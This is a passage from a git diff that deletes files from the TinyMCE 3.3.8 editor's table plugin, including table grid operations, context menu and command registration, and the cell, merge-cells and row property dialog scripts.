(cell != lastCell) { - if (!before) { - rowSpan = getSpanVal(cell, 'rowspan'); - if (rowSpan > 1) { - cell.rowSpan = rowSpan + 1; - continue; - } - } else { - // Check if cell above can be expanded - if (posY > 0 && grid[posY - 1][x]) { - otherCell = grid[posY - 1][x].elm; - rowSpan = getSpanVal(otherCell, 'rowspan'); - if (rowSpan > 1) { - otherCell.rowSpan = rowSpan + 1; - continue; - } - } - } - - // Insert new cell into new row - newCell = cloneCell(cell) - newCell.colSpan = cell.colSpan; - newRow.appendChild(newCell); - - lastCell = cell; - } - } - - if (newRow.hasChildNodes()) { - if (!before) - dom.insertAfter(newRow, rowElm); - else - rowElm.parentNode.insertBefore(newRow, rowElm); - } - }; - - function insertCol(before) { - var posX, lastCell; - - // Find first/last column - each(grid, function(row, y) { - each(row, function(cell, x) { - if (isCellSelected(cell)) { - posX = x; - - if (before) - return false; - } - }); - - if (before) - return !posX; - }); - - each(grid, function(row, y) { - var cell = row[posX].elm, rowSpan, colSpan; - - if (cell != lastCell) { - colSpan = getSpanVal(cell, 'colspan'); - rowSpan = getSpanVal(cell, 'rowspan'); - - if (colSpan == 1) { - if (!before) { - dom.insertAfter(cloneCell(cell), cell); - fillLeftDown(posX, y, rowSpan - 1, colSpan); - } else { - cell.parentNode.insertBefore(cloneCell(cell), cell); - fillLeftDown(posX, y, rowSpan - 1, colSpan); - } - } else - cell.colSpan++; - - lastCell = cell; - } - }); - }; - - function deleteCols() { - var cols = []; - - // Get selected column indexes - each(grid, function(row, y) { - each(row, function(cell, x) { - if (isCellSelected(cell) && tinymce.inArray(cols, x) === -1) { - each(grid, function(row) { - var cell = row[x].elm, colSpan; - - colSpan = getSpanVal(cell, 'colspan'); - - if (colSpan > 1) - cell.colSpan = colSpan - 1; - else - dom.remove(cell); - }); - - cols.push(x); - } - }); - }); - - cleanup(); - }; - - function deleteRows() { - var rows; - - function deleteRow(tr) { - var nextTr, pos, lastCell; - - nextTr = dom.getNext(tr, 'tr'); - - // Move down row spanned cells - each(tr.cells, function(cell) { - var rowSpan = getSpanVal(cell, 'rowspan'); - - if (rowSpan > 1) { - cell.rowSpan = rowSpan - 1; - pos = getPos(cell); - fillLeftDown(pos.x, pos.y, 1, 1); - } - }); - - // Delete cells - pos = getPos(tr.cells[0]); - each(grid[pos.y], function(cell) { - var rowSpan; - - cell = cell.elm; - - if (cell != lastCell) { - rowSpan = getSpanVal(cell, 'rowspan'); - - if (rowSpan <= 1) - dom.remove(cell); - else - cell.rowSpan = rowSpan - 1; - - lastCell = cell; - } - }); - }; - - // Get selected rows and move selection out of scope - rows = getSelectedRows(); - - // Delete all selected rows - each(rows.reverse(), function(tr) { - deleteRow(tr); - }); - - cleanup(); - }; - - function cutRows() { - var rows = getSelectedRows(); - - dom.remove(rows); - cleanup(); - - return rows; - }; - - function copyRows() { - var rows = getSelectedRows(); - - each(rows, function(row, i) { - rows[i] = cloneNode(row, true); - }); - - return rows; - }; - - function pasteRows(rows, before) { - var selectedRows = getSelectedRows(), - targetRow = selectedRows[before ? 0 : selectedRows.length - 1], - targetCellCount = targetRow.cells.length; - - // Calc target cell count - each(grid, function(row) { - var match; - - targetCellCount = 0; - each(row, function(cell, x) { - if (cell.real) - targetCellCount += cell.colspan; - - if (cell.elm.parentNode == targetRow) - match = 1; - }); - - if (match) - return false; - }); - - if (!before) - rows.reverse(); - - each(rows, function(row) { - var cellCount = row.cells.length, cell; - - // Remove col/rowspans - for (i = 0; i < cellCount; i++) { - cell = row.cells[i]; - cell.colSpan = cell.rowSpan = 1; - } - - // Needs more cells - for (i = cellCount; i < targetCellCount; i++) - row.appendChild(cloneCell(row.cells[cellCount - 1])); - - // Needs less cells - for (i = targetCellCount; i < cellCount; i++) - dom.remove(row.cells[i]); - - // Add before/after - if (before) - targetRow.parentNode.insertBefore(row, targetRow); - else - dom.insertAfter(row, targetRow); - }); - }; - - function getPos(target) { - var pos; - - each(grid, function(row, y) { - each(row, function(cell, x) { - if (cell.elm == target) { - pos = {x : x, y : y}; - return false; - } - }); - - return !pos; - }); - - return pos; - }; - - function setStartCell(cell) { - startPos = getPos(cell); - }; - - function findEndPos() { - var pos, maxX, maxY; - - maxX = maxY = 0; - - each(grid, function(row, y) { - each(row, function(cell, x) { - var colSpan, rowSpan; - - if (isCellSelected(cell)) { - cell = grid[y][x]; - - if (x > maxX) - maxX = x; - - if (y > maxY) - maxY = y; - - if (cell.real) { - colSpan = cell.colspan - 1; - rowSpan = cell.rowspan - 1; - - if (colSpan) { - if (x + colSpan > maxX) - maxX = x + colSpan; - } - - if (rowSpan) { - if (y + rowSpan > maxY) - maxY = y + rowSpan; - } - } - } - }); - }); - - return {x : maxX, y : maxY}; - }; - - function setEndCell(cell) { - var startX, startY, endX, endY, maxX, maxY, colSpan, rowSpan; - - endPos = getPos(cell); - - if (startPos && endPos) { - // Get start/end positions - startX = Math.min(startPos.x, endPos.x); - startY = Math.min(startPos.y, endPos.y); - endX = Math.max(startPos.x, endPos.x); - endY = Math.max(startPos.y, endPos.y); - - // Expand end positon to include spans - maxX = endX; - maxY = endY; - - // Expand startX - for (y = startY; y <= maxY; y++) { - cell = grid[y][startX]; - - if (!cell.real) { - if (startX - (cell.colspan - 1) < startX) - startX -= cell.colspan - 1; - } - } - - // Expand startY - for (x = startX; x <= maxX; x++) { - cell = grid[startY][x]; - - if (!cell.real) { - if (startY - (cell.rowspan - 1) < startY) - startY -= cell.rowspan - 1; - } - } - - // Find max X, Y - for (y = startY; y <= endY; y++) { - for (x = startX; x <= endX; x++) { - cell = grid[y][x]; - - if (cell.real) { - colSpan = cell.colspan - 1; - rowSpan = cell.rowspan - 1; - - if (colSpan) { - if (x + colSpan > maxX) - maxX = x + colSpan; - } - - if (rowSpan) { - if (y + rowSpan > maxY) - maxY = y + rowSpan; - } - } - } - } - - // Remove current selection - dom.removeClass(dom.select('td.mceSelected,th.mceSelected'), 'mceSelected'); - - // Add new selection - for (y = startY; y <= maxY; y++) { - for (x = startX; x <= maxX; x++) - dom.addClass(grid[y][x].elm, 'mceSelected'); - } - } - }; - - // Expose to public - tinymce.extend(this, { - deleteTable : deleteTable, - split : split, - merge : merge, - insertRow : insertRow, - insertCol : insertCol, - deleteCols : deleteCols, - deleteRows : deleteRows, - cutRows : cutRows, - copyRows : copyRows, - pasteRows : pasteRows, - getPos : getPos, - setStartCell : setStartCell, - setEndCell : setEndCell - }); - }; - - tinymce.create('tinymce.plugins.TablePlugin', { - init : function(ed, url) { - var winMan, clipboardRows; - - function createTableGrid(node) { - var selection = ed.selection, tblElm = ed.dom.getParent(node || selection.getNode(), 'table'); - - if (tblElm) - return new TableGrid(tblElm, ed.dom, selection); - }; - - function cleanup() { - // Restore selection possibilities - ed.getBody().style.webkitUserSelect = ''; - ed.dom.removeClass(ed.dom.select('td.mceSelected,th.mceSelected'), 'mceSelected'); - }; - - // Register buttons - each([ - ['table', 'table.desc', 'mceInsertTable', true], - ['delete_table', 'table.del', 'mceTableDelete'], - ['delete_col', 'table.delete_col_desc', 'mceTableDeleteCol'], - ['delete_row', 'table.delete_row_desc', 'mceTableDeleteRow'], - ['col_after', 'table.col_after_desc', 'mceTableInsertColAfter'], - ['col_before', 'table.col_before_desc', 'mceTableInsertColBefore'], - ['row_after', 'table.row_after_desc', 'mceTableInsertRowAfter'], - ['row_before', 'table.row_before_desc', 'mceTableInsertRowBefore'], - ['row_props', 'table.row_desc', 'mceTableRowProps', true], - ['cell_props', 'table.cell_desc', 'mceTableCellProps', true], - ['split_cells', 'table.split_cells_desc', 'mceTableSplitCells', true], - ['merge_cells', 'table.merge_cells_desc', 'mceTableMergeCells', true] - ], function(c) { - ed.addButton(c[0], {title : c[1], cmd : c[2], ui : c[3]}); - }); - - // Select whole table is a table border is clicked - if (!tinymce.isIE) { - ed.onClick.add(function(ed, e) { - e = e.target; - - if (e.nodeName === 'TABLE') - ed.selection.select(e); - }); - } - - // Handle node change updates - ed.onNodeChange.add(function(ed, cm, n) { - var p; - - n = ed.selection.getStart(); - p = ed.dom.getParent(n, 'td,th,caption'); - cm.setActive('table', n.nodeName === 'TABLE' || !!p); - - // Disable table tools if we are in caption - if (p && p.nodeName === 'CAPTION') - p = 0; - - cm.setDisabled('delete_table', !p); - cm.setDisabled('delete_col', !p); - cm.setDisabled('delete_table', !p); - cm.setDisabled('delete_row', !p); - cm.setDisabled('col_after', !p); - cm.setDisabled('col_before', !p); - cm.setDisabled('row_after', !p); - cm.setDisabled('row_before', !p); - cm.setDisabled('row_props', !p); - cm.setDisabled('cell_props', !p); - cm.setDisabled('split_cells', !p); - cm.setDisabled('merge_cells', !p); - }); - - ed.onInit.add(function(ed) { - var startTable, startCell, dom = ed.dom, tableGrid; - - winMan = ed.windowManager; - - // Add cell selection logic - ed.onMouseDown.add(function(ed, e) { - if (e.button != 2) { - cleanup(); - - startCell = dom.getParent(e.target, 'td,th'); - startTable = dom.getParent(startCell, 'table'); - } - }); - - dom.bind(ed.getDoc(), 'mouseover', function(e) { - var sel, table, target = e.target; - - if (startCell && (tableGrid || target != startCell) && (target.nodeName == 'TD' || target.nodeName == 'TH')) { - table = dom.getParent(target, 'table'); - if (table == startTable) { - if (!tableGrid) { - tableGrid = createTableGrid(table); - tableGrid.setStartCell(startCell); - - ed.getBody().style.webkitUserSelect = 'none'; - } - - tableGrid.setEndCell(target); - } - - // Remove current selection - sel = ed.selection.getSel(); - - if (sel.removeAllRanges) - sel.removeAllRanges(); - else - sel.empty(); - - e.preventDefault(); - } - }); - - ed.onMouseUp.add(function(ed, e) { - var rng, sel = ed.selection, selectedCells, nativeSel = sel.getSel(), walker, node, lastNode, endNode; - - // Move selection to startCell - if (startCell) { - if (tableGrid) - ed.getBody().style.webkitUserSelect = ''; - - function setPoint(node, start) { - var walker = new tinymce.dom.TreeWalker(node, node); - - do { - // Text node - if (node.nodeType == 3 && tinymce.trim(node.nodeValue).length != 0) { - if (start) - rng.setStart(node, 0); - else - rng.setEnd(node, node.nodeValue.length); - - return; - } - - // BR element - if (node.nodeName == 'BR') { - if (start) - rng.setStartBefore(node); - else - rng.setEndBefore(node); - - return; - } - } while (node = (start ? walker.next() : walker.prev())); - }; - - // Try to expand text selection as much as we can only Gecko supports cell selection - selectedCells = dom.select('td.mceSelected,th.mceSelected'); - if (selectedCells.length > 0) { - rng = dom.createRng(); - node = selectedCells[0]; - endNode = selectedCells[selectedCells.length - 1]; - - setPoint(node, 1); - walker = new tinymce.dom.TreeWalker(node, dom.getParent(selectedCells[0], 'table')); - - do { - if (node.nodeName == 'TD' || node.nodeName == 'TH') { - if (!dom.hasClass(node, 'mceSelected')) - break; - - lastNode = node; - } - } while (node = walker.next()); - - setPoint(lastNode); - - sel.setRng(rng); - } - - ed.nodeChanged(); - startCell = tableGrid = startTable = null; - } - }); - - ed.onKeyUp.add(function(ed, e) { - cleanup(); - }); - - // Add context menu - if (ed && ed.plugins.contextmenu) { - ed.plugins.contextmenu.onContextMenu.add(function(th, m, e) { - var sm, se = ed.selection, el = se.getNode() || ed.getBody(); - - if (ed.dom.getParent(e, 'td') || ed.dom.getParent(e, 'th') || ed.dom.select('td.mceSelected,th.mceSelected').length) { - m.removeAll(); - - if (el.nodeName == 'A' && !ed.dom.getAttrib(el, 'name')) { - m.add({title : 'advanced.link_desc', icon : 'link', cmd : ed.plugins.advlink ? 'mceAdvLink' : 'mceLink', ui : true}); - m.add({title : 'advanced.unlink_desc', icon : 'unlink', cmd : 'UnLink'}); - m.addSeparator(); - } - - if (el.nodeName == 'IMG' && el.className.indexOf('mceItem') == -1) { - m.add({title : 'advanced.image_desc', icon : 'image', cmd : ed.plugins.advimage ? 'mceAdvImage' : 'mceImage', ui : true}); - m.addSeparator(); - } - - m.add({title : 'table.desc', icon : 'table', cmd : 'mceInsertTable', value : {action : 'insert'}}); - m.add({title : 'table.props_desc', icon : 'table_props', cmd : 'mceInsertTable'}); - m.add({title : 'table.del', icon : 'delete_table', cmd : 'mceTableDelete'}); - m.addSeparator(); - - // Cell menu - sm = m.addMenu({title : 'table.cell'}); - sm.add({title : 'table.cell_desc', icon : 'cell_props', cmd : 'mceTableCellProps'}); - sm.add({title : 'table.split_cells_desc', icon : 'split_cells', cmd : 'mceTableSplitCells'}); - sm.add({title : 'table.merge_cells_desc', icon : 'merge_cells', cmd : 'mceTableMergeCells'}); - - // Row menu - sm = m.addMenu({title : 'table.row'}); - sm.add({title : 'table.row_desc', icon : 'row_props', cmd : 'mceTableRowProps'}); - sm.add({title : 'table.row_before_desc', icon : 'row_before', cmd : 'mceTableInsertRowBefore'}); - sm.add({title : 'table.row_after_desc', icon : 'row_after', cmd : 'mceTableInsertRowAfter'}); - sm.add({title : 'table.delete_row_desc', icon : 'delete_row', cmd : 'mceTableDeleteRow'}); - sm.addSeparator(); - sm.add({title : 'table.cut_row_desc', icon : 'cut', cmd : 'mceTableCutRow'}); - sm.add({title : 'table.copy_row_desc', icon : 'copy', cmd : 'mceTableCopyRow'}); - sm.add({title : 'table.paste_row_before_desc', icon : 'paste', cmd : 'mceTablePasteRowBefore'}).setDisabled(!clipboardRows); - sm.add({title : 'table.paste_row_after_desc', icon : 'paste', cmd : 'mceTablePasteRowAfter'}).setDisabled(!clipboardRows); - - // Column menu - sm = m.addMenu({title : 'table.col'}); - sm.add({title : 'table.col_before_desc', icon : 'col_before', cmd : 'mceTableInsertColBefore'}); - sm.add({title : 'table.col_after_desc', icon : 'col_after', cmd : 'mceTableInsertColAfter'}); - sm.add({title : 'table.delete_col_desc', icon : 'delete_col', cmd : 'mceTableDeleteCol'}); - } else - m.add({title : 'table.desc', icon : 'table', cmd : 'mceInsertTable'}); - }); - } - - // Fixes an issue on Gecko where it's impossible to place the caret behind a table - // This fix will force a paragraph element after the table but only when the forced_root_block setting is enabled - if (!tinymce.isIE) { - function fixTableCaretPos() { - var last; - - // Skip empty text nodes form the end - for (last = ed.getBody().lastChild; last && last.nodeType == 3 && !last.nodeValue.length; last = last.previousSibling) ; - - if (last && last.nodeName == 'TABLE') - ed.dom.add(ed.getBody(), 'p', null, '<br mce_bogus="1" />'); - }; - - // Fixes an bug where it's impossible to place the caret before a table in Gecko - // this fix solves it by detecting when the caret is at the beginning of such a table - // and then manually moves the caret infront of the table - if (tinymce.isGecko) { - ed.onKeyDown.add(function(ed, e) { - var rng, table, dom = ed.dom; - - // On gecko it's not possible to place the caret before a table - if (e.keyCode == 37 || e.keyCode == 38) { - rng = ed.selection.getRng(); - table = dom.getParent(rng.startContainer, 'table'); - - if (table && ed.getBody().firstChild == table) { - if (isAtStart(rng, table)) { - rng = dom.createRng(); - - rng.setStartBefore(table); - rng.setEndBefore(table); - - ed.selection.setRng(rng); - - e.preventDefault(); - } - } - } - }); - } - - ed.onKeyUp.add(fixTableCaretPos); - ed.onSetContent.add(fixTableCaretPos); - ed.onVisualAid.add(fixTableCaretPos); - - ed.onPreProcess.add(function(ed, o) { - var last = o.node.lastChild; - - if (last && last.childNodes.length == 1 && last.firstChild.nodeName == 'BR') - ed.dom.remove(last); - }); - - fixTableCaretPos(); - } - }); - - // Register action commands - each({ - mceTableSplitCells : function(grid) { - grid.split(); - }, - - mceTableMergeCells : function(grid) { - var rowSpan, colSpan, cell; - - cell = ed.dom.getParent(ed.selection.getNode(), 'th,td'); - if (cell) { - rowSpan = cell.rowSpan; - colSpan = cell.colSpan; - } - - if (!ed.dom.select('td.mceSelected,th.mceSelected').length) { - winMan.open({ - url : url + '/merge_cells.htm', - width : 240 + parseInt(ed.getLang('table.merge_cells_delta_width', 0)), - height : 110 + parseInt(ed.getLang('table.merge_cells_delta_height', 0)), - inline : 1 - }, { - rows : rowSpan, - cols : colSpan, - onaction : function(data) { - grid.merge(cell, data.cols, data.rows); - }, - plugin_url : url - }); - } else - grid.merge(); - }, - - mceTableInsertRowBefore : function(grid) { - grid.insertRow(true); - }, - - mceTableInsertRowAfter : function(grid) { - grid.insertRow(); - }, - - mceTableInsertColBefore : function(grid) { - grid.insertCol(true); - }, - - mceTableInsertColAfter : function(grid) { - grid.insertCol(); - }, - - mceTableDeleteCol : function(grid) { - grid.deleteCols(); - }, - - mceTableDeleteRow : function(grid) { - grid.deleteRows(); - }, - - mceTableCutRow : function(grid) { - clipboardRows = grid.cutRows(); - }, - - mceTableCopyRow : function(grid) { - clipboardRows = grid.copyRows(); - }, - - mceTablePasteRowBefore : function(grid) { - grid.pasteRows(clipboardRows, true); - }, - - mceTablePasteRowAfter : function(grid) { - grid.pasteRows(clipboardRows); - }, - - mceTableDelete : function(grid) { - grid.deleteTable(); - } - }, function(func, name) { - ed.addCommand(name, function() { - var grid = createTableGrid(); - - if (grid) { - func(grid); - ed.execCommand('mceRepaint'); - cleanup(); - } - }); - }); - - // Register dialog commands - each({ - mceInsertTable : function(val) { - winMan.open({ - url : url + '/table.htm', - width : 400 + parseInt(ed.getLang('table.table_delta_width', 0)), - height : 320 + parseInt(ed.getLang('table.table_delta_height', 0)), - inline : 1 - }, { - plugin_url : url, - action : val ? val.action : 0 - }); - }, - - mceTableRowProps : function() { - winMan.open({ - url : url + '/row.htm', - width : 400 + parseInt(ed.getLang('table.rowprops_delta_width', 0)), - height : 295 + parseInt(ed.getLang('table.rowprops_delta_height', 0)), - inline : 1 - }, { - plugin_url : url - }); - }, - - mceTableCellProps : function() { - winMan.open({ - url : url + '/cell.htm', - width : 400 + parseInt(ed.getLang('table.cellprops_delta_width', 0)), - height : 295 + parseInt(ed.getLang('table.cellprops_delta_height', 0)), - inline : 1 - }, { - plugin_url : url - }); - } - }, function(func, name) { - ed.addCommand(name, function(ui, val) { - func(val); - }); - }); - } - }); - - // Register plugin - tinymce.PluginManager.add('table', tinymce.plugins.TablePlugin); -})(tinymce); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/table/js/cell.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/table/js/cell.js deleted file mode 100644 index b5fc1fd..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/table/js/cell.js +++ /dev/null @@ -1,286 +0,0 @@ -tinyMCEPopup.requireLangPack(); - -var ed; - -function init() { - ed = tinyMCEPopup.editor; - tinyMCEPopup.resizeToInnerSize(); - - document.getElementById('backgroundimagebrowsercontainer').innerHTML = getBrowserHTML('backgroundimagebrowser','backgroundimage','image','table'); - document.getElementById('bordercolor_pickcontainer').innerHTML = getColorPickerHTML('bordercolor_pick','bordercolor'); - document.getElementById('bgcolor_pickcontainer').innerHTML = getColorPickerHTML('bgcolor_pick','bgcolor') - - var inst = ed; - var tdElm = ed.dom.getParent(ed.selection.getStart(), "td,th"); - var formObj = document.forms[0]; - var st = ed.dom.parseStyle(ed.dom.getAttrib(tdElm, "style")); - - // Get table cell data - var celltype = tdElm.nodeName.toLowerCase(); - var align = ed.dom.getAttrib(tdElm, 'align'); - var valign = ed.dom.getAttrib(tdElm, 'valign'); - var width = trimSize(getStyle(tdElm, 'width', 'width')); - var height = trimSize(getStyle(tdElm, 'height', 'height')); - var bordercolor = convertRGBToHex(getStyle(tdElm, 'bordercolor', 'borderLeftColor')); - var bgcolor = convertRGBToHex(getStyle(tdElm, 'bgcolor', 'backgroundColor')); - var className = ed.dom.getAttrib(tdElm, 'class'); - var backgroundimage = getStyle(tdElm, 'background', 'backgroundImage').replace(new RegExp("url\\(['\"]?([^'\"]*)['\"]?\\)", 'gi'), "$1"); - var id = ed.dom.getAttrib(tdElm, 'id'); - var lang = ed.dom.getAttrib(tdElm, 'lang'); - var dir = ed.dom.getAttrib(tdElm, 'dir'); - var scope = ed.dom.getAttrib(tdElm, 'scope'); - - // Setup form - addClassesToList('class', 'table_cell_styles'); - TinyMCE_EditableSelects.init(); - - if (!ed.dom.hasClass(tdElm, 'mceSelected')) { - formObj.bordercolor.value = bordercolor; - formObj.bgcolor.value = bgcolor; - formObj.backgroundimage.value = backgroundimage; - formObj.width.value = width; - formObj.height.value = height; - formObj.id.value = id; - formObj.lang.value = lang; - formObj.style.value = ed.dom.serializeStyle(st); - selectByValue(formObj, 'align', align); - selectByValue(formObj, 'valign', valign); - selectByValue(formObj, 'class', className, true, true); - selectByValue(formObj, 'celltype', celltype); - selectByValue(formObj, 'dir', dir); - selectByValue(formObj, 'scope', scope); - - // Resize some elements - if (isVisible('backgroundimagebrowser')) - document.getElementById('backgroundimage').style.width = '180px'; - - updateColor('bordercolor_pick', 'bordercolor'); - updateColor('bgcolor_pick', 'bgcolor'); - } else - tinyMCEPopup.dom.hide('action'); -} - -function updateAction() { - var el, inst = ed, tdElm, trElm, tableElm, formObj = document.forms[0]; - - tinyMCEPopup.restoreSelection(); - el = ed.selection.getStart(); - tdElm = ed.dom.getParent(el, "td,th"); - trElm = ed.dom.getParent(el, "tr"); - tableElm = ed.dom.getParent(el, "table"); - - // Cell is selected - if (ed.dom.hasClass(tdElm, 'mceSelected')) { - // Update all selected sells - tinymce.each(ed.dom.select('td.mceSelected,th.mceSelected'), function(td) { - updateCell(td); - }); - - ed.addVisual(); - ed.nodeChanged(); - inst.execCommand('mceEndUndoLevel'); - tinyMCEPopup.close(); - return; - } - - ed.execCommand('mceBeginUndoLevel'); - - switch (getSelectValue(formObj, 'action')) { - case "cell": - var celltype = getSelectValue(formObj, 'celltype'); - var scope = getSelectValue(formObj, 'scope'); - - function doUpdate(s) { - if (s) { - updateCell(tdElm); - - ed.addVisual(); - ed.nodeChanged(); - inst.execCommand('mceEndUndoLevel'); - tinyMCEPopup.close(); - } - }; - - if (ed.getParam("accessibility_warnings", 1)) { - if (celltype == "th" && scope == "") - tinyMCEPopup.confirm(ed.getLang('table_dlg.missing_scope', '', true), doUpdate); - else - doUpdate(1); - - return; - } - - updateCell(tdElm); - break; - - case "row": - var cell = trElm.firstChild; - - if (cell.nodeName != "TD" && cell.nodeName != "TH") - cell = nextCell(cell); - - do { - cell = updateCell(cell, true); - } while ((cell = nextCell(cell)) != null); - - break; - - case "all": - var rows = tableElm.getElementsByTagName("tr"); - - for (var i=0; i<rows.length; i++) { - var cell = rows[i].firstChild; - - if (cell.nodeName != "TD" && cell.nodeName != "TH") - cell = nextCell(cell); - - do { - cell = updateCell(cell, true); - } while ((cell = nextCell(cell)) != null); - } - - break; - } - - ed.addVisual(); - ed.nodeChanged(); - inst.execCommand('mceEndUndoLevel'); - tinyMCEPopup.close(); -} - -function nextCell(elm) { - while ((elm = elm.nextSibling) != null) { - if (elm.nodeName == "TD" || elm.nodeName == "TH") - return elm; - } - - return null; -} - -function updateCell(td, skip_id) { - var inst = ed; - var formObj = document.forms[0]; - var curCellType = td.nodeName.toLowerCase(); - var celltype = getSelectValue(formObj, 'celltype'); - var doc = inst.getDoc(); - var dom = ed.dom; - - if (!skip_id) - td.setAttribute('id', formObj.id.value); - - td.setAttribute('align', formObj.align.value); - td.setAttribute('vAlign', formObj.valign.value); - td.setAttribute('lang', formObj.lang.value); - td.setAttribute('dir', getSelectValue(formObj, 'dir')); - td.setAttribute('style', ed.dom.serializeStyle(ed.dom.parseStyle(formObj.style.value))); - td.setAttribute('scope', formObj.scope.value); - ed.dom.setAttrib(td, 'class', getSelectValue(formObj, 'class')); - - // Clear deprecated attributes - ed.dom.setAttrib(td, 'width', ''); - ed.dom.setAttrib(td, 'height', ''); - ed.dom.setAttrib(td, 'bgColor', ''); - ed.dom.setAttrib(td, 'borderColor', ''); - ed.dom.setAttrib(td, 'background', ''); - - // Set styles - td.style.width = getCSSSize(formObj.width.value); - td.style.height = getCSSSize(formObj.height.value); - if (formObj.bordercolor.value != "") { - td.style.borderColor = formObj.bordercolor.value; - td.style.borderStyle = td.style.borderStyle == "" ? "solid" : td.style.borderStyle; - td.style.borderWidth = td.style.borderWidth == "" ? "1px" : td.style.borderWidth; - } else - td.style.borderColor = ''; - - td.style.backgroundColor = formObj.bgcolor.value; - - if (formObj.backgroundimage.value != "") - td.style.backgroundImage = "url('" + formObj.backgroundimage.value + "')"; - else - td.style.backgroundImage = ''; - - if (curCellType != celltype) { - // changing to a different node type - var newCell = doc.createElement(celltype); - - for (var c=0; c<td.childNodes.length; c++) - newCell.appendChild(td.childNodes[c].cloneNode(1)); - - for (var a=0; a<td.attributes.length; a++) - ed.dom.setAttrib(newCell, td.attributes[a].name, ed.dom.getAttrib(td, td.attributes[a].name)); - - td.parentNode.replaceChild(newCell, td); - td = newCell; - } - - dom.setAttrib(td, 'style', dom.serializeStyle(dom.parseStyle(td.style.cssText))); - - return td; -} - -function changedBackgroundImage() { - var formObj = document.forms[0]; - var st = ed.dom.parseStyle(formObj.style.value); - - st['background-image'] = "url('" + formObj.backgroundimage.value + "')"; - - formObj.style.value = ed.dom.serializeStyle(st); -} - -function changedSize() { - var formObj = document.forms[0]; - var st = ed.dom.parseStyle(formObj.style.value); - - var width = formObj.width.value; - if (width != "") - st['width'] = getCSSSize(width); - else - st['width'] = ""; - - var height = formObj.height.value; - if (height != "") - st['height'] = getCSSSize(height); - else - st['height'] = ""; - - formObj.style.value = ed.dom.serializeStyle(st); -} - -function changedColor() { - var formObj = document.forms[0]; - var st = ed.dom.parseStyle(formObj.style.value); - - st['background-color'] = formObj.bgcolor.value; - st['border-color'] = formObj.bordercolor.value; - - formObj.style.value = ed.dom.serializeStyle(st); -} - -function changedStyle() { - var formObj = document.forms[0]; - var st = ed.dom.parseStyle(formObj.style.value); - - if (st['background-image']) - formObj.backgroundimage.value = st['background-image'].replace(new RegExp("url\\('?([^']*)'?\\)", 'gi'), "$1"); - else - formObj.backgroundimage.value = ''; - - if (st['width']) - formObj.width.value = trimSize(st['width']); - - if (st['height']) - formObj.height.value = trimSize(st['height']); - - if (st['background-color']) { - formObj.bgcolor.value = st['background-color']; - updateColor('bgcolor_pick','bgcolor'); - } - - if (st['border-color']) { - formObj.bordercolor.value = st['border-color']; - updateColor('bordercolor_pick','bordercolor'); - } -} - -tinyMCEPopup.onInit.add(init); diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/table/js/merge_cells.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/table/js/merge_cells.js deleted file mode 100644 index 7ee4bf0..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/table/js/merge_cells.js +++ /dev/null @@ -1,27 +0,0 @@ -tinyMCEPopup.requireLangPack(); - -var MergeCellsDialog = { - init : function() { - var f = document.forms[0]; - - f.numcols.value = tinyMCEPopup.getWindowArg('cols', 1); - f.numrows.value = tinyMCEPopup.getWindowArg('rows', 1); - }, - - merge : function() { - var func, f = document.forms[0]; - - tinyMCEPopup.restoreSelection(); - - func = tinyMCEPopup.getWindowArg('onaction'); - - func({ - cols : f.numcols.value, - rows : f.numrows.value - }); - - tinyMCEPopup.close(); - } -}; - -tinyMCEPopup.onInit.add(MergeCellsDialog.init, MergeCellsDialog); diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/table/js/row.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/table/js/row.js deleted file mode 100644 index 70d95b6..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/table/js/row.js +++ /dev/null @@ -1,237 +0,0 @@ -tinyMCEPopup.requireLangPack(); - -function init() { - tinyMCEPopup.resizeToInnerSize(); - - document.getElementById('backgroundimagebrowsercontainer').innerHTML = getBrowserHTML('backgroundimagebrowser','backgroundimage','image','table'); - document.getElementById('bgcolor_pickcontainer').innerHTML = getColorPickerHTML('bgcolor_pick','bgcolor'); - - var inst = tinyMCEPopup.editor; - var dom = inst.dom; - var trElm = dom.getParent(inst.selection.getStart(), "tr"); - var formObj = document.forms[0]; - var st = dom.parseStyle(dom.getAttrib(trElm, "style")); - - // Get table row data - var rowtype = trElm.parentNode.nodeName.toLowerCase(); - var align = dom.getAttrib(trElm, 'align'); - var valign = dom.getAttrib(trElm, 'valign'); - var height = trimSize(getStyle(trElm, 'height', 'height')); - var className = dom.getAttrib(trElm, 'class'); - var bgcolor = convertRGBToHex(getStyle(trElm, 'bgcolor', 'backgroundColor')); - var backgroundimage = getStyle(trElm, 'background', 'backgroundImage').replace(new RegExp("url\\(['\"]?([^'\"]*)['\"]?\\)", 'gi'), "$1"); - var id = dom.getAttrib(trElm, 'id'); - var lang = dom.getAttrib(trElm, 'lang'); - var dir = dom.getAttrib(trElm, 'dir'); - - selectByValue(formObj, 'rowtype', rowtype); - - // Any cells selected - if (dom.select('td.mceSelected,th.mceSelected', trElm).length == 0) { - // Setup form - addClassesToList('class', 'table_row_styles'); - TinyMCE_EditableSelects.init(); - - formObj.bgcolor.value = bgcolor; - formObj.backgroundimage.value = backgroundimage; - formObj.height.value = height; - formObj.id.value = id; - formObj.lang.value = lang; - formObj.style.value = dom.serializeStyle(st); - selectByValue(formObj, 'align', align); - selectByValue(formObj, 'valign', valign); - selectByValue(formObj, 'class', className, true, true); - selectByValue(formObj, 'dir', dir); - - // Resize some elements - if (isVisible('backgroundimagebrowser')) - document.getElementById('backgroundimage').style.width = '180px'; - - updateColor('bgcolor_pick', 'bgcolor'); - } else - tinyMCEPopup.dom.hide('action'); -} - -function updateAction() { - var inst = tinyMCEPopup.editor, dom = inst.dom, trElm, tableElm, formObj = document.forms[0]; - var action = getSelectValue(formObj, 'action'); - - tinyMCEPopup.restoreSelection(); - trElm = dom.getParent(inst.selection.getStart(), "tr"); - tableElm = dom.getParent(inst.selection.getStart(), "table"); - - // Update all selected rows - if (dom.select('td.mceSelected,th.mceSelected', trElm).length > 0) { - tinymce.each(tableElm.rows, function(tr) { - var i; - - for (i = 0; i < tr.cells.length; i++) { - if (dom.hasClass(tr.cells[i], 'mceSelected')) { - updateRow(tr, true); - return; - } - } - }); - - inst.addVisual(); - inst.nodeChanged(); - inst.execCommand('mceEndUndoLevel'); - 